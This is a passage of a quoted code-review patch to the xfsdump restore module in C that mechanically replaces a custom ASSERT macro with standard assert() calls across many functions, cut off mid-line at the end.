> > - ASSERT( SYNC_INIT == 0 ); > + assert( SYNC_INIT == 0 ); > > mlog( MLOG_NITTY, > "sizeof( pers_desc_t ) == %d, pgsz == %d, perssz == %d \n", > @@ -928,7 +929,7 @@ content_init( intgen_t argc, char *argv[ ], size64_t vmsz ) > /* allocate transient state > */ > tranp = ( tran_t * )calloc( 1, sizeof( tran_t )); > - ASSERT( tranp ); > + assert( tranp ); > > /* allocate a qlock for establishing pi critical regions > */ > @@ -1208,7 +1209,7 @@ content_init( intgen_t argc, char *argv[ ], size64_t vmsz ) > /* assume all streams contain a directory dump. streams will remove > * themselves from this bitset if they do not contain a directory dump. > */ > - ASSERT( drivecnt <= sizeof(tranp->t_dirdumps) * NBBY ); > + assert( drivecnt <= sizeof(tranp->t_dirdumps) * NBBY ); > tranp->t_dirdumps = ( 1ULL << drivecnt ) - 1; > > /* the user may specify stdin as the restore source stream, > @@ -1329,7 +1330,7 @@ content_init( intgen_t argc, char *argv[ ], size64_t vmsz ) > > /* build a full pathname to pers. state file > */ > - ASSERT( ! perspath ); > + assert( ! perspath ); > perspath = open_pathalloc( tranp->t_hkdir, persname, 0 ); > > /* open, creating if non-existent > @@ -1596,11 +1597,11 @@ content_init( intgen_t argc, char *argv[ ], size64_t vmsz ) > intgen_t rval; > > path1 = ( char * )calloc( 1, 2 * MAXPATHLEN ); > - ASSERT( path1 ); > + assert( path1 ); > path2 = ( char * )calloc( 1, 2 * MAXPATHLEN ); > - ASSERT( path2 ); > - ASSERT( persp->a.valpr ); > - ASSERT( persp->s.valpr ); > + assert( path2 ); > + assert( persp->a.valpr ); > + assert( persp->s.valpr ); > rval = chdir( persp->a.dstdir ); > if ( rval ) { > mlog( MLOG_NORMAL, _( > @@ -1673,7 +1674,7 @@ content_init( intgen_t argc, char *argv[ ], size64_t vmsz ) > stpgcnt = persp->a.stpgcnt; > newstpgcnt = stpgcnt; > descpgcnt = persp->s.descpgcnt; > - ASSERT( resumepr ); > + assert( resumepr ); > mlog( MLOG_VERBOSE, _( > "resuming restore previously begun %s\n"), > ctimennl( &persp->s.begintime )); > @@ -1683,13 +1684,13 @@ content_init( intgen_t argc, char *argv[ ], size64_t vmsz ) > /* unmap temp mapping of hdr, truncate, and remap hdr/subtrees > */ > rval = munmap( ( void * )persp, perssz ); > - ASSERT( ! rval ); > + assert( ! rval ); > rval = ftruncate( tranp->t_persfd, ( off_t )perssz > + > ( off_t )( stpgcnt + descpgcnt ) > * > ( off_t )pgsz ); > - ASSERT( ! rval ); > + assert( ! rval ); > stpgcnt = newstpgcnt; > persp = ( pers_t * ) mmap_autogrow( perssz + stpgcnt * pgsz, > tranp->t_persfd, 0); > @@ -1756,7 +1757,7 @@ content_init( intgen_t argc, char *argv[ ], size64_t vmsz ) > + > ( STDESCALIGN - 1 ); > stdsz &= ~( STDESCALIGN - 1 ); > - ASSERT( stdsz <= ( size_t )OFFMAX ); > + assert( stdsz <= ( size_t )OFFMAX ); > stdescp->std_nextoff = ( off_t )stdsz; > strcpy( stdescp->std_path, optarg ); > stdescp = ( stdesc_t * ) > @@ -1765,7 +1766,7 @@ content_init( intgen_t argc, char *argv[ ], size64_t vmsz ) > break; > } > } > - ASSERT( stcnt == 0 ); > + assert( stcnt == 0 ); > } > > /* initialize the local extattr abstraction. must be done even if > @@ -1801,7 +1802,7 @@ content_init( intgen_t argc, char *argv[ ], size64_t vmsz ) > * referenced ONLY via the macros provided; the descriptors will be > * occasionally remapped, causing the ptr to change. > */ > - ASSERT( ! descp ); > + assert( ! descp ); > if ( descpgcnt ) { > descp = ( pers_desc_t * ) mmap_autogrow( descpgcnt * pgsz, > tranp->t_persfd, > @@ -1932,9 +1933,9 @@ content_stream_restore( ix_t thrdix ) > /* allocate two path buffers > */ > path1 = ( char * )calloc( 1, 2 * MAXPATHLEN ); > - ASSERT( path1 ); > + assert( path1 ); > path2 = ( char * )calloc( 1, 2 * MAXPATHLEN ); > - ASSERT( path2 ); > + assert( path2 ); > > /* set the current directory to dstdir. the tree abstraction > * depends on the current directory being the root of the > @@ -2081,7 +2082,7 @@ content_stream_restore( ix_t thrdix ) > "dump found: checking\n" ); > matchpr = BOOL_FALSE; > resumepr = ( scrhdrp->cih_dumpattr & CIH_DUMPATTR_RESUME ); > - ASSERT( scrhdrp->cih_level >= 0 ); > + assert( scrhdrp->cih_level >= 0 ); > level = ( ix_t )scrhdrp->cih_level; > baseidp = resumepr > ? > @@ -2246,7 +2247,7 @@ content_stream_restore( ix_t thrdix ) > return mlog_exit(EXIT_FAULT, rv); > } > dcaps = drivep->d_capabilities; > - ASSERT( fileh != DH_NULL ); > + assert( fileh != DH_NULL ); > lock( ); > if ( tranp->t_sync3 == SYNC_BUSY ) { > unlock( ); > @@ -2529,7 +2530,7 @@ content_stream_restore( ix_t thrdix ) > return mlog_exit(EXIT_FAULT, rv); > } > dcaps = drivep->d_capabilities; > - ASSERT( fileh > DH_NULL ); > + assert( fileh > DH_NULL ); > if ( tranp->t_toconlypr ) { > mlog( MLOG_VERBOSE, _( > "reading non-directory files\n") ); > @@ -2752,7 +2753,7 @@ content_statline( char **linespp[ ] ) > percent, > (unsigned long long)tranp->t_direntcnt, > elapsed ); > - ASSERT( strlen( statline[ 0 ] ) < STATLINESZ ); > + assert( strlen( statline[ 0 ] ) < STATLINESZ ); > > return 1; > } > @@ -2792,7 +2793,7 @@ content_statline( char **linespp[ ] ) > (unsigned long long)inocnt, > percent, > elapsed ); > - ASSERT( strlen( statline[ 0 ] ) < STATLINESZ ); > + assert( strlen( statline[ 0 ] ) < STATLINESZ ); > > /* return buffer to caller > */ > @@ -2880,7 +2881,7 @@ content_mediachange_query( void ) > } > nochangeix = choicecnt; > choicestr[ choicecnt++ ] = _("continue"); > - ASSERT( choicecnt <= CHOICEMAX ); > + assert( choicecnt <= CHOICEMAX ); > responseix = dlog_multi_query( querystr, > querycnt, > choicestr, > @@ -2920,7 +2921,7 @@ content_mediachange_query( void ) > choicecnt = 0; > nochangeix = choicecnt; > choicestr[ choicecnt++ ] = _("continue"); > - ASSERT( choicecnt <= CHOICEMAX ); > + assert( choicecnt <= CHOICEMAX ); > responseix = dlog_multi_query( querystr, > querycnt, > choicestr, > @@ -2936,7 +2937,7 @@ content_mediachange_query( void ) > nochangeix);/* sigquit ix */ > return _("continuing\n"); > } > - ASSERT( responseix == nochangeix ); > + assert( responseix == nochangeix ); > return _("continuing\n"); > } > > @@ -3106,7 +3107,7 @@ applydirdump( drive_t *drivep, > break; > } > namelen = strlen( dhdrp->dh_name ); > - ASSERT( namelen <= NAME_MAX ); > + assert( namelen <= NAME_MAX ); > > /* add this dirent to the tree. > */ > @@ -3263,7 +3264,7 @@ eatdirdump( drive_t *drivep, > break; > } > namelen = strlen( dhdrp->dh_name ); > - ASSERT( namelen <= NAME_MAX ); > + assert( namelen <= NAME_MAX ); > } > } > > @@ -3525,7 +3526,7 @@ applynondirdump( drive_t *drivep, > if ( cur_egrp.eg_ino < next_egrp.eg_ino > || > next_egrp.eg_off > 0 ) { > - ASSERT( cur_egrp.eg_ino > + assert( cur_egrp.eg_ino > <= > next_egrp.eg_ino ); > pi_update_stats( bstatp->bs_blocks > @@ -3706,8 +3707,8 @@ wipepersstate( void ) > "%s/%s", > tranp->t_hkdir, > direntp->d_name ); > - ASSERT( len > 0 ); > - ASSERT( len < MAXPATHLEN ); > + assert( len > 0 ); > + assert( len < MAXPATHLEN ); > ( void )unlink( pathname ); > closedir( dirp ); > dirp = opendir( tranp->t_hkdir ); > @@ -3732,7 +3733,7 @@ Inv_validate_cmdline( void ) > bool_t ok; > bool_t rok; > > - ASSERT( ! persp->s.valpr ); > + assert( ! persp->s.valpr ); > > ok = BOOL_FALSE; > sessp = 0; > @@ -3797,7 +3798,7 @@ Media_create( ix_t thrdix ) > Mediap->M_mrhdrp = mrhdrp; > Mediap->M_crhdrp = crhdrp; > Mediap->M_scrhdrp = scrhdrp; > - ASSERT( POS_UNKN == 0 ); > + assert( POS_UNKN == 0 ); > > return Mediap; > } > @@ -4079,7 +4080,7 @@ Media_mfile_next( Media_t *Mediap, > case DRIVE_ERROR_EOD: > Mediap->M_pos = POS_END; > if ( Mediap->M_fsfixvalpr ) { > - ASSERT( purp != PURP_SEARCH ); > + assert( purp != PURP_SEARCH ); > pi_hiteod( Mediap->M_fssix, > Mediap->M_fsoix ); > } > @@ -4087,7 +4088,7 @@ Media_mfile_next( Media_t *Mediap, > case DRIVE_ERROR_EOM: > Mediap->M_pos = POS_END; > if ( Mediap->M_fsfixvalpr ) { > - ASSERT( purp != PURP_SEARCH ); > + assert( purp != PURP_SEARCH ); > pi_hiteom( Mediap->M_fssix, > Mediap->M_fsoix ); > } > @@ -4206,7 +4207,7 @@ validate: > /* if the purpose is to search, return this media file > */ > if ( purp == PURP_SEARCH ) { > - ASSERT( Mediap->M_pos == POS_ATHDR ); > + assert( Mediap->M_pos == POS_ATHDR ); > return RV_OK; > } > > @@ -4457,9 +4458,9 @@ validate: > /* if the purpose is dir, give it to the caller > */ > if ( purp == PURP_DIR ) { > - ASSERT( Mediap->M_pos == POS_ATHDR ); > + assert( Mediap->M_pos == POS_ATHDR ); > if ( filehp ) { > - ASSERT( fileh != DH_NULL ); > + assert( fileh != DH_NULL ); > *filehp = fileh; > } > return RV_OK; > @@ -4471,9 +4472,9 @@ validate: > > /* see if this media file contains any inodes not yet restored > */ > - ASSERT( fileh != DH_NULL ); > + assert( fileh != DH_NULL ); > pi_lock( ); > - ASSERT( DH2F( fileh )->f_valpr ); > + assert( DH2F( fileh )->f_valpr ); > begino = DH2F( fileh )->f_curegrp.eg_ino; > endino = pi_scanfileendino( fileh ); > hassomepr = inomap_rst_needed( begino, endino ); > @@ -4532,8 +4533,8 @@ validate: > * and no check point, can still get there > * by doing dummy read of dirdump. > */ > - ASSERT( fileh != DH_NULL ); > - ASSERT( DH2F( fileh )->f_valpr ); > + assert( fileh != DH_NULL ); > + assert( DH2F( fileh )->f_valpr ); > resumepr = ( ( DH2F( fileh )->f_firstegrp.eg_ino > != > DH2F( fileh )->f_curegrp.eg_ino ) > @@ -4616,7 +4617,7 @@ validate: > rval = 0; > break; > default: > - ASSERT( 0 ); > + assert( 0 ); > rval = 1; > break; > } > @@ -4634,7 +4635,7 @@ validate: > */ > if ( ! rval ) { > if ( filehp ) { > - ASSERT( fileh != DH_NULL ); > + assert( fileh != DH_NULL ); > *filehp = fileh; > } > return RV_OK; > @@ -4647,7 +4648,7 @@ validate: > ( * dop->do_end_read )( drivep ); > Mediap->M_pos = POS_UNKN; > fileh = DH_NULL; > - ASSERT( purp == PURP_NONDIR ); > + assert( purp == PURP_NONDIR ); > if ( pi_know_no_more_beyond_on_object( purp, > Mediap->M_fssix, > Mediap->M_fsoix, > @@ -4735,7 +4736,7 @@ newmedia: > BOOL_FALSE ); > break; > default: > - ASSERT( 0 ); > + assert( 0 ); > } > > if ( ! bagp && ! knownholespr && ! maybeholespr ) { > @@ -4796,7 +4797,7 @@ newmedia: > pi_neededobjs_free( bagp ); > bagp = 0; > } > - ASSERT( sistr ); > + assert( sistr ); > mlog( MLOG_NORMAL | MLOG_NOTE | MLOG_MEDIA, _( > "please change media: " > "type %s to confirm media change\n"), > @@ -4928,19 +4929,19 @@ pi_allocdesc( dh_t *deschp ) > /* first unmap if any existing descriptors > */ > if ( descp ) { > - ASSERT( olddescpgcnt > 0 ); > + assert( olddescpgcnt > 0 ); > rval = munmap( ( void * )descp, > olddescpgcnt * pgsz ); > - ASSERT( ! rval ); > + assert( ! rval ); > descp = 0; > } else { > - ASSERT( olddescpgcnt == 0 ); > + assert( olddescpgcnt == 0 ); > } > > /* remap with DAU more pages of descriptors > */ > - ASSERT( stpgcnt <= ( ix_t )INTGENMAX ); > - ASSERT( newdescpgcnt > 0 ); > + assert( stpgcnt <= ( ix_t )INTGENMAX ); > + assert( newdescpgcnt > 0 ); > descp = ( pers_desc_t * ) mmap_autogrow( newdescpgcnt * pgsz, > tranp->t_persfd, > ( off_t )perssz > @@ -4973,7 +4974,7 @@ pi_allocdesc( dh_t *deschp ) > desch = persp->s.descfreeh; > persp->s.descfreeh = DH2D( desch )->d_nexth; > memset( ( void * )DH2D( desch ), 0, sizeof( pers_desc_t )); > - ASSERT( desch != DH_NULL ); > + assert( desch != DH_NULL ); > *deschp = desch; > return BOOL_TRUE; > } > @@ -5041,7 +5042,7 @@ pi_insertfile( ix_t drivecnt, > strmix++, > strmh = DH2S( strmh )->s_nexth ) > ; > - ASSERT( strmh != DH_NULL ); > + assert( strmh != DH_NULL ); > > /* get handle to this object by walking/constructing this stream's > * object list, up to the desired object > @@ -5124,10 +5125,10 @@ pi_insertfile( ix_t drivecnt, > && > ! DH2O( prevobjh )->o_lmfknwnpr ) { > size_t prevmfcnt; > - ASSERT( DH2O( objh )->o_fmfsix > DH2O( prevobjh )->o_fmfsix ); > + assert( DH2O( objh )->o_fmfsix > DH2O( prevobjh )->o_fmfsix ); > prevmfcnt = DH2O( objh )->o_fmfsix - DH2O( prevobjh )->o_fmfsix; > pi_unlock( ); > - ASSERT( mediaix > 0 ); > + assert( mediaix > 0 ); > ( void )pi_insertfile( drivecnt, > driveix, > mediaix - 1, > @@ -5190,8 +5191,8 @@ pi_insertfile( ix_t drivecnt, > /* update the media file fields not yet valid > */ > if ( egrpvalpr && ! DH2F( fileh )->f_valpr ) { > - ASSERT( ! ( DH2F( fileh )->f_flags & PF_INV )); > - ASSERT( ! ( DH2F( fileh )->f_flags & PF_TERM )); > + assert( ! ( DH2F( fileh )->f_flags & PF_INV )); > + assert( ! ( DH2F( fileh )->f_flags & PF_TERM )); > DH2F( fileh )->f_firstegrp.eg_ino = startino; > DH2F( fileh )->f_firstegrp.eg_off = startoffset; > DH2F( fileh )->f_curegrp = DH2F( fileh )->f_firstegrp; > @@ -5233,7 +5234,7 @@ pi_addfile( Media_t *Mediap, > if ( ! persp->s.stat_valpr ) { > persp->s.stat_inocnt = scrhdrp->cih_inomap_nondircnt; > persp->s.stat_inodone = 0; > - ASSERT( scrhdrp->cih_inomap_datasz <= OFF64MAX ); > + assert( scrhdrp->cih_inomap_datasz <= OFF64MAX ); > persp->s.stat_datacnt = ( off64_t )scrhdrp->cih_inomap_datasz; > persp->s.stat_datadone = 0; > persp->s.stat_valpr = BOOL_TRUE; > @@ -5301,7 +5302,7 @@ pi_addfile( Media_t *Mediap, > if ( fileh == DH_NULL ) { > return DH_NULL; > } > - ASSERT( drhdrp->dh_drivecnt > 0 ); > + assert( drhdrp->dh_drivecnt > 0 ); > if ( drhdrp->dh_driveix < drhdrp->dh_drivecnt - 1 ) { > /* if this is not in the last stream, we know > * there is at least one other media file in > @@ -5433,12 +5434,12 @@ pi_addfile( Media_t *Mediap, > &rval ); > switch( rval ) { > case 0: > - ASSERT( nread == ( intgen_t )bufszincr ); > + assert( nread == ( intgen_t )bufszincr ); > buflen += ( size_t )nread; > bufsz += bufszincr; > bufp = ( char * )realloc(( void * )bufp, > bufsz ); > - ASSERT( bufp ); > + assert( bufp ); > continue; > case DRIVE_ERROR_EOD: > case DRIVE_ERROR_EOF: > @@ -5495,7 +5496,7 @@ pi_addfile( Media_t *Mediap, > return fileh; > } > > - ASSERT( 0 ); > + assert( 0 ); > return DH_NULL; > } > > @@ -5829,7 +5830,7 @@ pi_scanfileendino( dh_t fileh ) > dh_t strmh; > ix_t mode = 0; > > - ASSERT( fileh != DH_NULL ); > + assert( fileh != DH_NULL ); > > /* traverse the pi tree, looking for the next media file after > */ > @@ -5863,13 +5864,13 @@ pi_scanfileendino( dh_t fileh ) > if ( DH2F( nexth )->f_valpr ) { > xfs_ino_t ino; > > - ASSERT( ! ( DH2F( nexth )->f_flags & PF_INV )); > - ASSERT( ! ( DH2F( nexth )->f_flags & PF_TERM )); > + assert( ! ( DH2F( nexth )->f_flags & PF_INV )); > + assert( ! ( DH2F( nexth )->f_flags & PF_TERM )); > if ( DH2F( nexth )->f_firstegrp.eg_off ) { > ino = DH2F( nexth )->f_firstegrp.eg_ino; > return ino; > } else { > - ASSERT( DH2F( nexth )->f_firstegrp.eg_ino > 0 ); > + assert( DH2F( nexth )->f_firstegrp.eg_ino > 0 ); > ino = DH2F( nexth )->f_firstegrp.eg_ino - 1; > return ino; > } > @@ -5894,12 +5895,12 @@ pi_bracketneededegrps( dh_t thisfileh, egrp_t *first_egrp, egrp_t *next_egrp ) > dh_t follh = DH_NULL; > > > - ASSERT( thisfileh != DH_NULL ); > + assert( thisfileh != DH_NULL ); > > /* traverse the pi tree, looking for fileh > */ > pi_lock( ); > - ASSERT( DH2F( thisfileh )->f_valpr ); > + assert( DH2F( thisfileh )->f_valpr ); > > for ( strmh = persp->s.strmheadh > ; > @@ -5924,14 +5925,14 @@ pi_bracketneededegrps( dh_t thisfileh, egrp_t *first_egrp, egrp_t *next_egrp ) > if ( fileh == thisfileh ) { > thisfoundpr = BOOL_TRUE; > } else if ( DH2F( fileh )->f_valpr ) { > - ASSERT( ! ( DH2F( fileh )->f_flags & PF_INV )); > - ASSERT( ! ( DH2F( fileh )->f_flags & PF_TERM )); > + assert( ! ( DH2F( fileh )->f_flags & PF_INV )); > + assert( ! ( DH2F( fileh )->f_flags & PF_TERM )); > prech = fileh; > } > } else if ( DH2F( fileh )->f_valpr ) { > - ASSERT( ! ( DH2F( fileh )->f_flags & PF_INV )); > - ASSERT( ! ( DH2F( fileh )->f_flags & PF_TERM )); > - ASSERT( follh == DH_NULL ); > + assert( ! ( DH2F( fileh )->f_flags & PF_INV )); > + assert( ! ( DH2F( fileh )->f_flags & PF_TERM )); > + assert( follh == DH_NULL ); > follh = fileh; > goto done; > } > @@ -5940,7 +5941,7 @@ pi_bracketneededegrps( dh_t thisfileh, egrp_t *first_egrp, egrp_t *next_egrp ) > } > done: > > - ASSERT( thisfoundpr ); > + assert( thisfoundpr ); > > /* initially the lower bracket is this file descriptor's > * current egrp. this catches the case where a previous restore > @@ -5979,7 +5980,7 @@ static void > pi_update_stats( off64_t sz ) > { > pi_lock( ); > - ASSERT( persp->s.stat_valpr ); > + assert( persp->s.stat_valpr ); > persp->s.stat_inodone++; > persp->s.stat_datadone += sz; > pi_unlock( ); > @@ -6011,7 +6012,7 @@ pi_iter_alloc( void ) > pi_iter_t *iterp; > > iterp = ( pi_iter_t * )calloc( 1, sizeof( pi_iter_t )); > - ASSERT( iterp ); > + assert( iterp ); > return iterp; > } > > @@ -6026,7 +6027,7 @@ pi_iter_nextfileh( pi_iter_t *iterp, > bool_t *objmissingprp, > bool_t *filemissingprp ) > { > - ASSERT( ! iterp->donepr ); > + assert( ! iterp->donepr ); > > if ( persp->s.strmheadh == DH_NULL ) { > iterp->donepr = BOOL_TRUE; > @@ -6034,7 +6035,7 @@ pi_iter_nextfileh( pi_iter_t *iterp, > } > > if ( ! iterp->initializedpr ) { > - ASSERT( persp->s.strmheadh != DH_NULL ); > + assert( persp->s.strmheadh != DH_NULL ); > iterp->strmh = persp->s.strmheadh; > iterp->objh = DH2S( iterp->strmh )->s_cldh; > if ( iterp->objh == DH_NULL ) { > @@ -6199,8 +6200,8 @@ pi_neededobjs_nondir_alloc( bool_t *knownholesprp, > headegrp.eg_ino = INO64MAX; > headegrp.eg_off = OFF64MAX; > } else { > - ASSERT( ! ( DH2F( headh )->f_flags & PF_INV )); > - ASSERT( ! ( DH2F( headh )->f_flags & PF_TERM )); > + assert( ! ( DH2F( headh )->f_flags & PF_INV )); > + assert( ! ( DH2F( headh )->f_flags & PF_TERM )); > headegrp = DH2F( headh )->f_firstegrp; > } > > @@ -6369,15 +6370,15 @@ pi_neededobjs_free( bag_t *bagp ) > size64_t dummykey; > void *dummypayloadp; > > - ASSERT( bagp ); > + assert( bagp ); > > bagiter_init( bagp, &bagiter ); > > bagobjp = 0; > while (( bagelemp = bagiter_next( &bagiter, ( void ** )&bagobjp ) )) { > bag_remove( bagp, bagelemp, &dummykey, &dummypayloadp ); > - ASSERT( bagobjp ); > - ASSERT( bagobjp == ( bagobj_t * )dummypayloadp ); > + assert( bagobjp ); > + assert( bagobjp == ( bagobj_t * )dummypayloadp ); > free( ( void * )bagobjp ); > bagobjp = 0; > } > @@ -6441,7 +6442,7 @@ pi_hiteod( ix_t strmix, ix_t objix ) > ix++, > strmh = DH2S( strmh )->s_nexth ) > ; > - ASSERT( strmh != DH_NULL ); > + assert( strmh != DH_NULL ); > > /* get index to last object in stream > */ > @@ -6451,7 +6452,7 @@ pi_hiteod( ix_t strmix, ix_t objix ) > ; > objh = DH2O( objh )->o_nexth, objcnt++ ) > ; > - ASSERT( objcnt != 0 ); > + assert( objcnt != 0 ); > lastobjix = objcnt - 1; > > pi_unlock( ); > @@ -6504,7 +6505,7 @@ pi_hitnextdump( ix_t strmix, ix_t objix, ix_t lastfileix ) > ix++, > strmh = DH2S( strmh )->s_nexth ) > ; > - ASSERT( strmh != DH_NULL ); > + assert( strmh != DH_NULL ); > > /* get index to last object in stream > */ > @@ -6514,7 +6515,7 @@ pi_hitnextdump( ix_t strmix, ix_t objix, ix_t lastfileix ) > ; > objh = DH2O( objh )->o_nexth, objcnt++ ) > ; > - ASSERT( objcnt != 0 ); > + assert( objcnt != 0 ); > lastobjix = objcnt - 1; > > pi_unlock( ); > @@ -6549,7 +6550,7 @@ pi_know_no_more_on_object( purp_t purp, ix_t strmix, ix_t objix ) > dh_t objh; > dh_t fileh; > > - ASSERT( purp == PURP_DIR || purp == PURP_NONDIR ); > + assert( purp == PURP_DIR || purp == PURP_NONDIR ); > > pi_lock( ); > > @@ -6563,7 +6564,7 @@ pi_know_no_more_on_object( purp_t purp, ix_t strmix, ix_t objix ) > ix++, > strmh = DH2S( strmh )->s_nexth ) > ; > - ASSERT( strmh != DH_NULL ); > + assert( strmh != DH_NULL ); > > /* get handle to indexed object > */ > @@ -6574,7 +6575,7 @@ pi_know_no_more_on_object( purp_t purp, ix_t strmix, ix_t objix ) > ix++, > objh = DH2O( objh )->o_nexth ) > ; > - ASSERT( objh != DH_NULL ); > + assert( objh != DH_NULL ); > > /* if don't know last media file on object, return FALSE > */ > @@ -6627,7 +6628,7 @@ pi_know_no_more_beyond_on_object( purp_t purp, > dh_t objh; > dh_t fileh; > > - ASSERT( purp == PURP_DIR || purp == PURP_NONDIR ); > + assert( purp == PURP_DIR || purp == PURP_NONDIR ); > > pi_lock( ); > > @@ -6641,7 +6642,7 @@ pi_know_no_more_beyond_on_object( purp_t purp, > ix++, > strmh = DH2S( strmh )->s_nexth ) > ; > - ASSERT( strmh != DH_NULL ); > + assert( strmh != DH_NULL ); > > /* get handle to indexed object > */ > @@ -6653,7 +6654,7 @@ pi_know_no_more_beyond_on_object( purp_t purp, > ix++, > objh = DH2O( objh )->o_nexth ) > ; > - ASSERT( objh != DH_NULL ); > + assert( objh != DH_NULL ); > > /* if don't know last media file on object, return FALSE > */ > @@ -6741,7 +6742,7 @@ addobj( bag_t *bagp, > bagobj_t *bagobjp; > > bagobjp = ( bagobj_t * )calloc( 1, sizeof( bagobj_t )); > - ASSERT( bagobjp ); > + assert( bagobjp ); > uuid_copy(bagobjp->id, *idp); > strncpy( bagobjp->label, > label, > @@ -6761,7 +6762,7 @@ cntobj( bag_t *bagp ) > bagobj_t *bagobjp; > size_t cnt; > > - ASSERT( bagp ); > + assert( bagp ); > > bagiter_init( bagp, &bagiter ); > cnt = 0; > @@ -6833,7 +6834,7 @@ askinvforbaseof( uuid_t baseid, inv_session_t *sessp ) > /* close the inventory > */ > ok = inv_close( invtok ); > - ASSERT( ok ); > + assert( ok ); > > /* return id of base session > */ > @@ -6933,7 +6934,7 @@ retry: > preamblestr[ preamblecnt++ ] = "\n"; > preamblestr[ preamblecnt++ ] = fold; > preamblestr[ preamblecnt++ ] = "\n\n"; > - ASSERT( preamblecnt <= PREAMBLEMAX ); > + assert( preamblecnt <= PREAMBLEMAX ); > dlog_begin( preamblestr, preamblecnt ); > > /* query: ask if media changed or declined > @@ -6950,7 +6951,7 @@ retry: > } > querycnt = 0; > querystr[ querycnt++ ] = question; > - ASSERT( querycnt <= QUERYMAX ); > + assert( querycnt <= QUERYMAX ); > choicecnt = 0; > dontix = choicecnt; > choicestr[ choicecnt++ ] = _("media change declined"); > @@ -6965,7 +6966,7 @@ retry: > } > doix = choicecnt; > choicestr[ choicecnt++ ] = _("media changed"); > - ASSERT( choicecnt <= CHOICEMAX ); > + assert( choicecnt <= CHOICEMAX ); > sigintix = IXMAX - 1; > > responseix = dlog_multi_query( querystr, > @@ -6988,7 +6989,7 @@ retry: > ackstr[ ackcnt++ ] = _("media change aborted\n"); > } else if ( responseix == invstatix ) { > ackstr[ ackcnt++ ] = "\n"; > - ASSERT( ackcnt <= ACKMAX ); > + assert( ackcnt <= ACKMAX ); > dlog_multi_ack( ackstr, > ackcnt ); > pi_show_nomloglock( ); > @@ -6997,13 +6998,13 @@ retry: > postamblestr[ postamblecnt++ ] = "\n"; > postamblestr[ postamblecnt++ ] = fold; > postamblestr[ postamblecnt++ ] = "\n\n"; > - ASSERT( postamblecnt <= POSTAMBLEMAX ); > + assert( postamblecnt <= POSTAMBLEMAX ); > dlog_end( postamblestr, > postamblecnt ); > goto retry; > } else if ( responseix == neededix ) { > ackstr[ ackcnt++ ] = "\n"; > - ASSERT( ackcnt <= ACKMAX ); > + assert( ackcnt <= ACKMAX ); > dlog_multi_ack( ackstr, > ackcnt ); > display_needed_objects( purp, > @@ -7015,16 +7016,16 @@ retry: > postamblestr[ postamblecnt++ ] = "\n"; > postamblestr[ postamblecnt++ ] = fold; > postamblestr[ postamblecnt++ ] = "\n\n"; > - ASSERT( postamblecnt <= POSTAMBLEMAX ); > + assert( postamblecnt <= POSTAMBLEMAX ); > dlog_end( postamblestr, > postamblecnt ); > goto retry; > } else { > - ASSERT( responseix == sigintix ); > + assert( responseix == sigintix ); > ackstr[ ackcnt++ ] = _("keyboard interrupt\n"); > } > > - ASSERT( ackcnt <= ACKMAX ); > + assert( ackcnt <= ACKMAX ); > dlog_multi_ack( ackstr, > ackcnt ); > > @@ -7033,7 +7034,7 @@ retry: > postamblestr[ postamblecnt++ ] = "\n"; > postamblestr[ postamblecnt++ ] = fold; > postamblestr[ postamblecnt++ ] = "\n\n"; > - ASSERT( postamblecnt <= POSTAMBLEMAX ); > + assert( postamblecnt <= POSTAMBLEMAX ); > dlog_end( postamblestr, > postamblecnt ); > > @@ -7089,7 +7090,7 @@ retry: > preamblestr[ preamblecnt++ ] = "\n"; > preamblestr[ preamblecnt++ ] = fold; > preamblestr[ preamblecnt++ ] = "\n\n"; > - ASSERT( preamblecnt <= PREAMBLEMAX ); > + assert( preamblecnt <= PREAMBLEMAX ); > dlog_begin( preamblestr, preamblecnt ); > > /* display vital stats and ask if this one should be restored > @@ -7105,7 +7106,7 @@ retry: > "the following dump has been found" > "\n\n") ); > } > - ASSERT( strlen( introstring ) < sizeof( introstring )); > + assert( strlen( introstring ) < sizeof( introstring )); > display_dump_label( BOOL_FALSE, > MLOG_NORMAL | MLOG_BARE, > introstring, > @@ -7122,14 +7123,14 @@ retry: > _("\ninteractively restore from this dump?\n") > : _("\nrestore this dump?\n"); > } > - ASSERT( querycnt <= QUERYMAX ); > + assert( querycnt <= QUERYMAX ); > choicecnt = 0; > dontix = choicecnt; > choicestr[ choicecnt++ ] = _("skip"); > doix = choicecnt; > choicestr[ choicecnt++ ] = (persp->a.interpr) ? > _("interactively restore\n") : _("restore\n"); > - ASSERT( choicecnt <= CHOICEMAX ); > + assert( choicecnt <= CHOICEMAX ); > sigintix = IXMAX - 1; > > responseix = dlog_multi_query( querystr, > @@ -7153,11 +7154,11 @@ retry: > } else if ( responseix == dontix ) { > ackstr[ ackcnt++ ] = _("dump skipped\n"); > } else { > - ASSERT( responseix == sigintix ); > + assert( responseix == sigintix ); > ackstr[ ackcnt++ ] = _("keyboard interrupt\n"); > } > > - ASSERT( ackcnt <= ACKMAX ); > + assert( ackcnt <= ACKMAX ); > dlog_multi_ack( ackstr, > ackcnt ); > > @@ -7166,7 +7167,7 @@ retry: > postamblestr[ postamblecnt++ ] = "\n"; > postamblestr[ postamblecnt++ ] = fold; > postamblestr[ postamblecnt++ ] = "\n\n"; > - ASSERT( postamblecnt <= POSTAMBLEMAX ); > + assert( postamblecnt <= POSTAMBLEMAX ); > dlog_end( postamblestr, > postamblecnt ); > > @@ -7329,8 +7330,8 @@ restore_file_cb( void *cp, bool_t linkpr, char *path1, char *path2 ) > return BOOL_FALSE; > } > } else if ( ! tranp->t_toconlypr ) { > - ASSERT( path1 ); > - ASSERT( path2 ); > + assert( path1 ); > + assert( path2 ); > mlog( MLOG_TRACE, > "linking %s to %s\n", > path1, > @@ -7523,7 +7524,7 @@ restore_reg( drive_t *drivep, > /* set the extended inode flags, except those which must > * be set only after all data has been restored. > */ > - ASSERT( bstatp->bs_extsize >= 0 ); > + assert( bstatp->bs_extsize >= 0 ); > memset((void *)&fsxattr, 0, sizeof( fsxattr )); > fsxattr.fsx_xflags = bstatp->bs_xflags & ~POST_DATA_XFLAGS; > fsxattr.fsx_extsize = (u_int32_t) bstatp->bs_extsize; > @@ -7604,7 +7605,7 @@ restore_extent_group( drive_t *drivep, > */ > if ( ehdr.eh_type == EXTENTHDR_TYPE_ALIGN ) { > size_t sz; > - ASSERT( ehdr.eh_sz <= INTGENMAX ); > + assert( ehdr.eh_sz <= INTGENMAX ); > sz = ( size_t )ehdr.eh_sz; > rv = discard_padding( sz, drivep ); > if ( rv != RV_OK ) { > @@ -7628,7 +7629,7 @@ restore_extent_group( drive_t *drivep, > > /* real data > */ > - ASSERT( ehdr.eh_type == EXTENTHDR_TYPE_DATA ); > + assert( ehdr.eh_type == 